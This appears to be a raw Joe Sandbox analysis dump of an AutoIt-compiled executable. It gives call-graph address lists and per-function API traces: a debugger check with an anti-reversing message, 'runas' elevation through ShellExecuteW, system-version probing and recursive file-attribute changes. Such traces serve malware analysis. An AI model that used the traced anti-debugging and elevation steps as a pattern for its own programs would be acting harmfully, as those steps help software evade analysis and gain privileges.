11465->11466 11467 7a4185 11466->11467 11468 7a41b8 MoveWindow 11466->11468 11469 7a4191 SendMessageW SendMessageW 11466->11469 11468->11467 11469->11468 11676 742099 11677 7420a6 11676->11677 11685 7420ab 11676->11685 11678 7420b1 WideCharToMultiByte 11679 742106 11678->11679 11678->11685 11680 74500d RtlAllocateHeap 11680->11685 11681 7420d7 WideCharToMultiByte 11682 74210c 11681->11682 11681->11685 11683 742d58 _free 2 API calls 11682->11683 11683->11679 11684 742d58 _free 2 API calls 11684->11685 11685->11678 11685->11679 11685->11680 11685->11681 11685->11682 11685->11684 11471 776119 MkParseDisplayName 11686 794089 11687 7940a6 11686->11687 11688 7940bc CoInitialize 11687->11688 11689 7940dc CoUninitialize 11688->11689 11690 7940e2 11688->11690 11689->11690 11691 794120 CoCreateInstance 11690->11691 11692 794155 11690->11692 11691->11692 11695 794140 11691->11695 11693 7941d0 11692->11693 11694 7941a0 IIDFromString 11692->11694 11692->11695 11693->11695 11696 79423c VariantInit 11693->11696 11694->11693 11694->11695 11697 794263 11696->11697 11699 79425d 11696->11699 11698 73016b 2 API calls 11697->11698 11698->11699 11700 79428e VariantClear 11699->11700 11700->11695 10347 71f400 10348 71f41f 10347->10348 10351 71f433 10347->10351 10352 71e910 10348->10352 10350 71f42a 10363 71e94d 10352->10363 10353 71ea73 10354 71ed85 10353->10354 10355 71ea7e 10353->10355 10359 73019b 2 API calls 10354->10359 10366 71e9bb 10354->10366 10356 73016b 2 API calls 10355->10356 10364 71ea85 10356->10364 10357 71eb68 10361 73019b 2 API calls 10357->10361 10358 73016b __CxxThrowException __CxxThrowException 10358->10363 10359->10364 10360 73016b 2 API calls 10360->10366 10365 71eaa6 10361->10365 10362 73016b 2 API calls 10362->10365 10363->10353 10363->10354 10363->10357 10363->10358 10363->10365 10363->10366 10364->10362 10364->10365 10365->10360 10365->10366 10366->10350 11701 71f680 11702 71f6c0 11701->11702 11704 7645a1 __Init_thread_footer 11702->11704 11705 71f78c 11702->11705 11703 7645f4 __Init_thread_footer 11703->11705 11704->11705 11705->11703 11706 71be6d 2 API calls 11705->11706 11707 71fa91 11705->11707 11706->11705 10367 76e684 10368 76e68a 10367->10368 10371 77e753 SHGetFolderPathW 10368->10371 10370 76e693 10372 77e780 10371->10372 10372->10370 11708 7a6188 SendMessageW 11709 7a61c2 11708->11709 11710 7a5df1 11708->11710 11709->11710 11711 7a61cf InvalidateRect 11709->11711 11711->11710 11472 74c102 11473 74c10e 11472->11473 11475 74c131 11473->11475 11476 74c022 11473->11476 11477 74c06e 11476->11477 11478 743bb0 __fread_nolock RtlAllocateHeap 11477->11478 11480 74c075 11477->11480 11484 74c08d 11478->11484 11479 74c094 11482 742d58 _free 2 API calls 11479->11482 11481 742d58 _free 2 API calls 11480->11481 11483 74c0f0 11481->11483 11482->11480 11483->11475 11484->11479 11485 74c0ba 11484->11485 11486 742d58 _free 2 API calls 11485->11486 11486->11480 11487 78410f 11488 78411c 11487->11488 11489 78413e GetLastError 11488->11489 11490 784147 11488->11490 11491 784148 FormatMessageW 11489->11491 11490->11491 11492 784162 11491->11492 10443 73078b 10444 730797 10443->10444 10445 7308f1 ___scrt_fastfail 10444->10445 10452 7307c8 10444->10452 10446 7308f8 10445->10446 10447 73081a ___scrt_release_startup_lock 10448 730828 10447->10448 10450 730830 ___scrt_is_nonwritable_in_current_image 10448->10450 10451 73083b 10448->10451 10449 7307e7 10450->10451 10453 730856 ___scrt_is_nonwritable_in_current_image 10451->10453 10454 730861 10451->10454 10452->10447 10452->10449 10453->10454 10458 7132a2 10454->10458 10456 730883 10456->10446 10457 730897 ___scrt_uninitialize_crt 10456->10457 10457->10449 10459 713309 10458->10459 10460 7132ae IsThemeActive 10458->10460 10459->10456 10461 7132d9 10460->10461 10464 713312 10461->10464 10463 7132ef SystemParametersInfoW 10463->10459 10465 713322 10464->10465 10466 71332e GetCurrentDirectoryW 10465->10466 10467 714f60 10466->10467 10468 713355 IsDebuggerPresent 10467->10468 10469 713363 10468->10469 10470 753c7d MessageBoxA 10468->10470 10471 753c95 10469->10471 10472 713377 10469->10472 10470->10471 10515 7140e0 10471->10515 10495 713a1c 10472->10495 10476 713396 GetFullPathNameW 10477 7133d5 10476->10477 10505 7141e6 10477->10505 10478 7133e9 10480 753cc6 SetCurrentDirectoryW 10478->10480 10481 7133f1 10478->10481 10480->10481 10482 7133fc 10481->10482 10487 753cf3 10481->10487 10511 71345a 7 API calls 10482->10511 10486 713406 10489 71343d SetCurrentDirectoryW 10486->10489 10488 753d12 10487->10488 10493 753d2b 10487->10493 10523 717af4 10488->10523 10490 713451 10489->10490 10490->10463 10492 753d42 GetForegroundWindow ShellExecuteW 10494 753d6a 10492->10494 10493->10492 10494->10486 10496 713a29 10495->10496 10497 7540b4 10496->10497 10498 713a42 10496->10498 10499 7540d0 GetOpenFileNameW 10497->10499 10530 7139de 10498->10530 10500 75411f 10499->10500 10502 713a54 10534 716085 10502->10534 10506 7141f3 10505->10506 10844 715937 10506->10844 10508 7141f8 10509 714212 GetFullPathNameW 10508->10509 10510 71423e 10508->10510 10509->10510 10510->10478 10850 7135ab 7 API calls 10511->10850 10513 713401 10514 71353a CreateWindowExW CreateWindowExW ShowWindow ShowWindow 10513->10514 10514->10486 10516 714145 10515->10516 10517 7140ee 10515->10517 10518 73016b 2 API calls 10516->10518 10519 7140ff 10517->10519 10520 73016b 2 API calls 10517->10520 10518->10519 10521 714154 3 API calls 10519->10521 10520->10519 10522 714116 10521->10522 10522->10478 10524 717b06 10523->10524 10526 7563b3 10523->10526 10851 717b17 10524->10851 10528 7563c9 10526->10528 10529 71be6d 2 API calls 10526->10529 10527 717b12 10527->10493 10529->10528 10531 7522f0 10530->10531 10532 7139eb GetLongPathNameW 10531->10532 10533 713a13 10532->10533 10533->10502 10551 71636d 10534->10551 10537 71636d 21 API calls 10538 7160be 10537->10538 10539 7160c6 10538->10539 10540 7551bf 10538->10540 10542 7160d2 10539->10542 10543 7551dc 10539->10543 10540->10543 10629 7163db 10540->10629 10541 73019b 2 API calls 10550 755236 10541->10550 10565 713aa3 10542->10565 10543->10541 10546 71338e 10546->10476 10546->10478 10547 7163db 6 API calls 10549 7553e7 10547->10549 10549->10547 10635 77a12a 10549->10635 10550->10549 10552 71637f 10551->10552 10553 7554b4 10552->10553 10554 716398 LoadLibraryExW 10552->10554 10555 7163db 6 API calls 10553->10555 10556 7163b0 10554->10556 10559 7554bb 10555->10559 10641 716410 10556->10641 10558 7163c2 10558->10559 10560 7163ce 10558->10560 10653 71653a 10559->10653 10562 7163db 6 API calls 10560->10562 10563 7160aa 10562->10563 10563->10537 10563->10540 10564 7554da 10566 754139 10565->10566 10567 713acc 10565->10567 10568 77a12a 3 API calls 10566->10568 10569 73019b 2 API calls 10567->10569 10570 75414c 10568->10570 10571 713af0 10569->10571 10582 713b4d 10570->10582 10572 717953 CloseHandle 10571->10572 10573 713afe 10572->10573 10574 717953 CloseHandle 10573->10574 10575 713b10 10574->10575 10576 717953 CloseHandle 10575->10576 10577 713b19 10576->10577 10709 716e52 10577->10709 10580 713b3b 10717 716b12 10580->10717 10581 75456b 10583 77a12a 3 API calls 10581->10583 10732 7141c9 10582->10732 10585 754580 10583->10585 10585->10585 10590 7541c5 10591 717953 CloseHandle 10590->10591 10592 7541ce 10591->10592 10593 71636d 21 API calls 10592->10593 10599 7541f6 10593->10599 10594 754502 10596 77a12a 3 API calls 10594->10596 10595 713bd9 10597 717af4 4 API calls 10595->10597 10598 7544f0 10596->10598 10600 713c13 SetCurrentDirectoryW 10597->10600 10618 713d94 10598->10618 10599->10594 10601 7163db 6 API calls 10599->10601 10604 713c26 10600->10604 10602 754223 10601->10602 10602->10594 10603 75422b 10602->10603 10605 73016b 2 API calls 10603->10605 10606 73019b 2 API calls 10604->10606 10627 754253 10605->10627 10607 713c39 10606->10607 10609 7141a6 2 API calls 10607->10609 10608 717953 CloseHandle 10610 713dc6 10608->10610 10611 713c44 10609->10611 10613 717953 CloseHandle 10610->10613 10612 713d71 10611->10612 10619 75454e 10611->10619 10621 713c91 _wcslen 10611->10621 10628 7140e0 5 API calls 10611->10628 10741 71ad74 10611->10741 10745 713e15 10611->10745 10614 717953 CloseHandle 10612->10614 10616 713dd8 10613->10616 10617 713d7a SetCurrentDirectoryW 10614->10617 10616->10546 10617->10618 10618->10608 10620 77a12a 3 API calls 10619->10620 10623 754562 10620->10623 10621->10611 10622 7140e0 5 API calls 10622->10627 10623->10612 10625 7544d7 10626 77a12a 3 API calls 10625->10626 10626->10598 10627->10618 10627->10622 10627->10625 10628->10611 10630 7163e5 10629->10630 10631 7163ec 10629->10631 10821 73ea08 10630->10821 10633 716403 10631->10633 10634 755510 FreeLibrary 10631->10634 10633->10543 10636 7522f0 10635->10636 10637 77a137 GetModuleHandleW LoadStringW 10636->10637 10639 77a167 10637->10639 10638 77a170 10638->10549 10639->10638 10640 77a209 MessageBoxW 10639->10640 10640->10638 10642 73019b 2 API calls 10641->10642 10643 716425 10642->10643 10644 7141a6 2 API calls 10643->10644 10646 716431 10644->10646 10645 71653a 12 API calls 10645->10646 10646->10645 10648 716500 10646->10648 10649 755572 10646->10649 10658 716564 10646->10658 10647 716564 3 API calls 10651 7555a1 10647->10651 10648->10558 10649->10647 10652 71653a 12 API calls 10651->10652 10652->10648 10654 7555cc 10653->10654 10655 71654c 10653->10655 10675 73ec54 10655->10675 10659 716573 10658->10659 10660 7555ec 10658->10660 10663 73f073 10659->10663 10666 73ee3a 10663->10666 10665 716581 10665->10646 10667 73ee46 10666->10667 10669 73ee52 10667->10669 10670 73ef9a 10667->10670 10669->10665 10671 73efac 10670->10671 10673 73efbc 10670->10673 10671->10669 10672 73f05e 10672->10669 10673->10672 10674 7497b4 __fread_nolock SetFilePointerEx GetLastError __dosmaperr 10673->10674 10674->10672 10678 73ec71 10675->10678 10677 71655d 10677->10564 10680 73ec7d 10678->10680 10679 73ec90 10679->10677 10680->10679 10682 73ea88 10680->10682 10683 73eaa7 10682->10683 10684 73ea9a 10682->10684 10683->10679 10684->10683 10686 7490d5 10684->10686 10687 7490e7 10686->10687 10688 7490ff 10686->10688 10687->10684 10688->10687 10689 743bb0 __fread_nolock RtlAllocateHeap 10688->10689 10693 749198 10688->10693 10708 7491be 10688->10708 10690 7491f1 10689->10690 10691 742d58 _free RtlFreeHeap GetLastError 10690->10691 10692 7491fa 10691->10692 10695 742d58 _free RtlFreeHeap GetLastError 10692->10695 10694 7493b9 10693->10694 10697 74935c GetConsoleMode 10693->10697 10693->10708 10696 7493bd ReadFile 10694->10696 10699 749201 10695->10699 10700 7493d7 10696->10700 10701 749431 GetLastError 10696->10701 10697->10694 10698 74936d 10697->10698 10698->10696 10702 749373 ReadConsoleW 10698->10702 10707 7497b4 __fread_nolock SetFilePointerEx GetLastError __dosmaperr 10699->10707 10699->10708 10700->10701 10700->10708 10703 749455 10701->10703 10701->10708 10705 74938f GetLastError 10702->10705 10702->10708 10704 749395 __dosmaperr 10703->10704 10703->10708 10704->10708 10705->10704 10706 742d58 _free RtlFreeHeap GetLastError 10706->10687 10707->10693 10708->10706 10710 755985 10709->10710 10711 716e69 CreateFileW 10709->10711 10712 75598b CreateFileW 10710->10712 10713 713b33 10710->10713 10711->10713 10712->10713 10714 7559b3 10712->10714 10713->10580 10713->10581 10715 716bfa 3 API calls 10714->10715 10716 7559be 10715->10716 10716->10713 10718 716b27 10717->10718 10730 716b24 10717->10730 10719 716bfa 3 API calls 10718->10719 10718->10730 10720 716b44 10719->10720 10721 716b51 10720->10721 10722 75589b 10720->10722 10724 73019b 2 API calls 10721->10724 10770 72fdc9 10722->10770 10725 716b5d 10724->10725 10726 7141a6 2 API calls 10725->10726 10727 716b67 10726->10727 10764 71b050 10727->10764 10730->10582 10731 716bfa 3 API calls 10731->10730 10733 71b050 2 API calls 10732->10733 10734 713bbc 10733->10734 10735 716bfa 10734->10735 10740 716c11 10735->10740 10736 7558ec SetFilePointerEx 10737 716c98 SetFilePointerEx SetFilePointerEx 10738 713bc8 10737->10738 10738->10590 10738->10595 10739 7558db 10739->10736 10740->10736 10740->10737 10740->10738 10740->10739 10742 71ad8f 10741->10742 10776 71ae12 10742->10776 10744 71ad97 10744->10611 10746 73019b 2 API calls 10745->10746 10747 713e2a 10746->10747 10748 73016b 2 API calls 10747->10748 10749 713e35 10748->10749 10750 754594 10749->10750 10752 713eca 10749->10752 10762 713e47 10749->10762 10818 714154 _wcslen 10750->10818 10755 75462e 10752->10755 10763 713efa 10752->10763 10753 75459c 10754 7545ad _wcslen 10753->10754 10759 7545cd 10754->10759 10756 7545f6 10755->10756 10760 75468a 10755->10760 10755->10762 10758 77a12a 3 API calls 10756->10758 10757 71ad74 11 API calls 10757->10763 10758->10762 10759->10756 10759->10762 10761 713aa3 38 API calls 10760->10761 10761->10762 10762->10611 10763->10757 10763->10759 10763->10762 10765 71b0cb 10764->10765 10769 71b05e 10764->10769 10775 72f13c SetFilePointerEx 10765->10775 10767 716b73 10767->10731 10768 71b09c ReadFile 10768->10767 10768->10769 10769->10767 10769->10768 10771 716bfa 3 API calls 10770->10771 10772 72fde7 10771->10772 10773 716bfa 3 API calls 10772->10773 10774 72fe08 10773->10774 10774->10730 10775->10769 10777 71ae94 10776->10777 10778 71ae24 10776->10778 10779 71aebb 10777->10779 10784 71aea8 10777->10784 10780 73019b 2 API calls 10778->10780 10790 77d2ee 10779->10790 10782 71ae34 10780->10782 10783 73016b 2 API calls 10782->10783 10787 71ae42 10783->10787 10784->10778 10785 71aeb1 10784->10785 10803 72c12e 10785->10803 10789 71ae65 10787->10789 10798 718774 MultiByteToWideChar 10787->10798 10789->10744 10791 77d2ff 10790->10791 10793 77d351 10791->10793 10794 77d32f 10791->10794 10806 77d249 10791->10806 10793->10789 10795 77d249 2 API calls 10794->10795 10796 77d33a 10795->10796 10796->10793 10797 716bfa 3 API calls 10796->10797 10797->10793 10799 7187a0 10798->10799 10801 7187db 10798->10801 10800 73019b 2 API calls 10799->10800 10802 7187b5 MultiByteToWideChar 10800->10802 10801->10789 10802->10801 10813 72c170 10803->10813 10805 72c140 10805->10789 10807 77d253 10806->10807 10808 77d26a 10806->10808 10807->10808 10810 77d259 10807->10810 10809 71b050 2 API calls 10808->10809 10811 77d263 10809->10811 10812 71b050 2 API calls 10810->10812 10811->10791 10812->10811 10814 73019b 2 API calls 10813->10814 10815 72c183 10814->10815 10816 73016b 2 API calls 10815->10816 10817 72c18f 10816->10817 10817->10805 10819 73019b 2 API calls 10818->10819 10820 714173 10819->10820 10820->10753 10822 73ea14 10821->10822 10824 73ea25 10822->10824 10825 73e992 10822->10825 10824->10631 10826 73e99f 10825->10826 10827 73e9b4 10825->10827 10826->10824 10827->10826 10828 74510a 2 API calls 10827->10828 10829 73e9d0 10828->10829 10833 7489bf 10829->10833 10831 73e9dc 10831->10826 10832 742d58 _free 2 API calls 10831->10832 10832->10826 10834 7489ce 10833->10834 10835 7489e3 10833->10835 10834->10831 10835->10834 10837 748997 10835->10837 10840 748915 10837->10840 10839 7489bb 10839->10834 10841 748921 10840->10841 10842 748a3e __wsopen_s CloseHandle GetLastError __dosmaperr 10841->10842 10843 74895c 10841->10843 10842->10843 10843->10839 10845 7159fa 10844->10845 10846 71595e 10844->10846 10845->10508 10846->10845 10847 73019b 2 API calls 10846->10847 10849 715985 10847->10849 10848 73019b 2 API calls 10848->10845 10849->10848 10850->10513 10853 717b26 10851->10853 10858 717b5a 10851->10858 10852 7563e4 10855 73016b 2 API calls 10852->10855 10853->10852 10854 717b4d 10853->10854 10853->10858 10861 717cb3 10854->10861 10857 7563f3 10855->10857 10859 73019b 2 API calls 10857->10859 10858->10527 10860 756427 10859->10860 10862 717cc9 10861->10862 10865 717cc4 10861->10865 10863 7564be 10862->10863 10864 73019b 2 API calls 10862->10864 10864->10865 10865->10858 11712 77808c 11713 7780b2 11712->11713 11714 7780a0 SysAllocString 11712->11714 11715 77810c 11713->11715 11716 7780b8 MultiByteToWideChar 11713->11716 11723 778108 11714->11723 11719 778112 SysAllocString SysFreeString 11715->11719 11720 77812c 11715->11720 11718 73019b 2 API calls 11716->11718 11722 7780e9 MultiByteToWideChar SysAllocString 11718->11722 11719->11723 11721 778132 StringFromGUID2 11720->11721 11720->11723 11721->11714 11721->11723 11722->11723 11218 73f08e 11219 73f09a 11218->11219 11221 73f0a6 11219->11221 11222 73f0fb 11219->11222 11225 73f126 11222->11225 11224 73f108 11224->11221 11226 73f134 11225->11226 11227 73f14e 11225->11227 11226->11224 11231 749799 11227->11231 11230 73f2a1 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@ 11230->11226 11234 749616 11231->11234 11233 73f173 11233->11226 11233->11230 11235 749622 11234->11235 11237 74962a 11235->11237 11238 74971b 11235->11238 11237->11233 11239 74972d 11238->11239 11240 749746 SetFilePointerEx 11239->11240 11241 749735 11239->11241 11240->11241 11242 74975e GetLastError __dosmaperr 11240->11242 11241->11237 11242->11241 11243 71f48c 11246 71ca50 11243->11246 11245 71f49a 11247 71ca6b 11246->11247 11250 71ca90 11247->11250 11253 7961ff 11247->11253 11249 71ce86 __Init_thread_footer 11249->11250 11250->11249 11251 71cd60 11250->11251 11252 71be6d 2 API calls 11250->11252 11251->11245 11252->11250 11254 796228 11253->11254 11255 796286 __Init_thread_footer 11254->11255 11256 79622d 11254->11256 11255->11256 11256->11250

                                                                                                                                                        Executed Functions

                                                                                                                                                        Function 00715D78 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235libraryloaderCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 272 715d78-715de7 call 71bf07 GetVersionExW call 7184b7 277 754f0c-754f1f 272->277 278 715ded 272->278 280 754f20-754f24 277->280 279 715def-715df1 278->279 281 715df7-715e56 call 7196d9 call 7179ed 279->281 282 754f4b 279->282 283 754f27-754f33 280->283 284 754f26 280->284 297 7550ad-7550b4 281->297 298 715e5c-715e5e 281->298 287 754f52-754f5e 282->287 283->280 286 754f35-754f37 283->286 284->283 286->279 289 754f3d-754f44 286->289 291 715ecc-715ee6 GetCurrentProcess IsWow64Process 287->291 289->277 290 754f46 289->290 290->282 293 715f45-715f4b 291->293 294 715ee8 291->294 296 715eee-715efa 293->296 294->296 299 715f00-715f0f LoadLibraryA 296->299 300 7550f2-7550f6 GetSystemInfo 296->300 303 7550d4-7550d7 297->303 304 7550b6 297->304 301 715e64-715e67 298->301 302 754fae-754fc1 298->302 307 715f11-715f1f GetProcAddress 299->307 308 715f4d-715f57 GetSystemInfo 299->308 301->291 309 715e69-715eab 301->309 310 754fc3-754fcc 302->310 311 754fea-754fec 302->311 305 7550c2-7550ca 303->305 306 7550d9-7550e8 303->306 312 7550bc 304->312 305->303 306->312 313 7550ea-7550f0 306->313 307->308 314 715f21-715f25 GetNativeSystemInfo 307->314 315 715f27-715f29 308->315 309->291 316 715ead-715eb0 309->316 317 754fce-754fd4 310->317 318 754fd9-754fe5 310->318 319 755021-755024 311->319 320 754fee-755003 311->320 312->305 313->305 314->315 325 715f32-715f44 315->325 326 715f2b-715f2c FreeLibrary 315->326 327 754f63-754f6d 316->327 328 715eb6-715ec0 316->328 317->291 318->291 323 755026-755041 319->323 324 75505f-755062 319->324 321 755005-75500b 320->321 322 755010-75501c 320->322 321->291 322->291 329 755043-755049 323->329 330 75504e-75505a 323->330 324->291 333 755068-75508f 324->333 326->325 331 754f80-754f8a 327->331 332 754f6f-754f7b 327->332 328->287 334 715ec6 328->334 329->291 330->291 335 754f9d-754fa9 331->335 336 754f8c-754f98 331->336 332->291 337 755091-755097 333->337 338 75509c-7550a8 333->338 334->291 335->291 336->291 337->291 338->291
                                                                                                                                                        APIs
                                                                                                                                                        • GetVersionExW.KERNEL32(?), ref: 00715DA7
                                                                                                                                                          • Part of subcall function 007184B7: _wcslen.LIBCMT ref: 007184CA
                                                                                                                                                        • GetCurrentProcess.KERNEL32(?,007ADC2C,00000000,?,?), ref: 00715ED3
                                                                                                                                                        • IsWow64Process.KERNEL32(00000000,?,?), ref: 00715EDA
                                                                                                                                                        • LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00715F05
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00715F17
                                                                                                                                                        • GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00715F25
                                                                                                                                                        • FreeLibrary.KERNEL32(00000000,?,?), ref: 00715F2C
                                                                                                                                                        • GetSystemInfo.KERNEL32(?,?,?), ref: 00715F51
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
                                                                                                                                                        • String ID: GetNativeSystemInfo$kernel32.dll$|O
                                                                                                                                                        • API String ID: 3290436268-3101561225
                                                                                                                                                        • Opcode ID: 4aba6dc09bbaa6ebaf962586114927ae894c770adfc3fbf445343ed5c450be47
                                                                                                                                                        • Instruction ID: 6ad5216a8f3f9b7c671f73b427c94cdc98422de88658352f82801bbda4904aad
                                                                                                                                                        • Opcode Fuzzy Hash: 4aba6dc09bbaa6ebaf962586114927ae894c770adfc3fbf445343ed5c450be47
                                                                                                                                                        • Instruction Fuzzy Hash: DAA18F3190B6C4CFC715CB6CBCC11D97F6D6B6A301B08D899E4859B2A3D66C498ACF39
                                                                                                                                                        Function 00713312 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148windowCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        APIs
                                                                                                                                                        • GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,007132EF,?), ref: 00713342
                                                                                                                                                        • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,007132EF,?), ref: 00713355
                                                                                                                                                        • GetFullPathNameW.KERNEL32(00007FFF,?,?,007E2418,007E2400,?,?,?,?,?,?,007132EF,?), ref: 007133C1
                                                                                                                                                          • Part of subcall function 007184B7: _wcslen.LIBCMT ref: 007184CA
                                                                                                                                                          • Part of subcall function 007141E6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,007133E9,007E2418,?,?,?,?,?,?,?,007132EF,?), ref: 00714227
                                                                                                                                                        • SetCurrentDirectoryW.KERNELBASE(?,00000001,007E2418,?,?,?,?,?,?,?,007132EF,?), ref: 00713442
                                                                                                                                                        • MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse user this program.,AutoIt,00000010), ref: 00753C8A
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?,007E2418,?,?,?,?,?,?,?,007132EF,?), ref: 00753CCB
                                                                                                                                                        • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,007D31F4,007E2418,?,?,?,?,?,?,?,007132EF), ref: 00753D54
                                                                                                                                                        • ShellExecuteW.SHELL32(00000000,?,?), ref: 00753D5B
                                                                                                                                                          • Part of subcall function 0071345A: GetSysColorBrush.USER32(0000000F), ref: 00713465
                                                                                                                                                          • Part of subcall function 0071345A: LoadCursorW.USER32(00000000,00007F00), ref: 00713474
                                                                                                                                                          • Part of subcall function 0071345A: LoadIconW.USER32(00000063), ref: 0071348A
                                                                                                                                                          • Part of subcall function 0071345A: LoadIconW.USER32(000000A4), ref: 0071349C
                                                                                                                                                          • Part of subcall function 0071345A: LoadIconW.USER32(000000A2), ref: 007134AE
                                                                                                                                                          • Part of subcall function 0071345A: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 007134C6
                                                                                                                                                          • Part of subcall function 0071345A: RegisterClassExW.USER32(?), ref: 00713517
                                                                                                                                                          • Part of subcall function 0071353A: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00713568
                                                                                                                                                          • Part of subcall function 0071353A: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00713589
                                                                                                                                                          • Part of subcall function 0071353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,007132EF,?), ref: 0071359D
                                                                                                                                                          • Part of subcall function 0071353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,007132EF,?), ref: 007135A6
                                                                                                                                                          • Part of subcall function 007138F2: Shell_NotifyIconW.SHELL32(00000000,?), ref: 007139C3
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
                                                                                                                                                        • String ID: 0$~$AutoIt$It is a violation of the AutoIt EULA to attempt to reverse user this program.$runas
                                                                                                                                                        • API String ID: 683915450-1150152355
                                                                                                                                                        • Opcode ID: a680a0f4fa9422b7073a2b2e7a9a97cfe95cb64630a4fc57a8d8432a7855988f
                                                                                                                                                        • Instruction ID: a18aab8941e9620683700dcecef355a39b4972d3b78fe6cd235eb82cf16bf35f
                                                                                                                                                        • Opcode Fuzzy Hash: a680a0f4fa9422b7073a2b2e7a9a97cfe95cb64630a4fc57a8d8432a7855988f
                                                                                                                                                        • Instruction Fuzzy Hash: 745128701093C5EACB15EF689C49DEE7BB89F89744F40442DF881561E3CA6C8E8AC726
                                                                                                                                                        Function 00789F9F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 403 789f9f-789fc7 FindFirstFileW 404 789fc9-789fde call 7355c2 403->404 405 78a03a-78a045 FindClose 403->405 413 78a028-78a038 FindNextFileW 404->413 414 789fe0-789ff5 call 7355c2 404->414 407 78a04b-78a05e FindFirstFileW 405->407 408 78a0e2 405->408 410 78a0d9 407->410 411 78a060-78a066 407->411 412 78a0e4-78a0e8 408->412 415 78a0db-78a0dc FindClose 410->415 416 78a069-78a070 411->416 413->404 413->405 414->413 423 789ff7-78a020 GetFileAttributesW SetFileAttributesW 414->423 415->408 417 78a072-78a087 call 7355c2 416->417 418 78a0c7-78a0d7 FindNextFileW 416->418 417->418 424 78a089-78a09e call 7355c2 417->424 418->410 418->416 425 78a0eb-78a0f4 FindClose 423->425 426 78a026 423->426 424->418 429 78a0a0-78a0be SetCurrentDirectoryW call 789f9f 424->429 425->412 426->413 432 78a0c0-78a0c5 SetCurrentDirectoryW 429->432 433 78a0f6-78a0f8 429->433 432->418 433->415
                                                                                                                                                        APIs
                                                                                                                                                        • FindFirstFileW.KERNELBASE(?,?,76228FB0,?,00000000), ref: 00789FC0
                                                                                                                                                        • GetFileAttributesW.KERNELBASE(?), ref: 00789FFE
                                                                                                                                                        • SetFileAttributesW.KERNELBASE(?,?), ref: 0078A018
                                                                                                                                                        • FindNextFileW.KERNELBASE(00000000,?), ref: 0078A030
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0078A03B
                                                                                                                                                        • FindFirstFileW.KERNEL32(*.*,?), ref: 0078A057
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 0078A0A7
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(007D7B94), ref: 0078A0C5
                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 0078A0CF
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0078A0DC
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0078A0EC
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
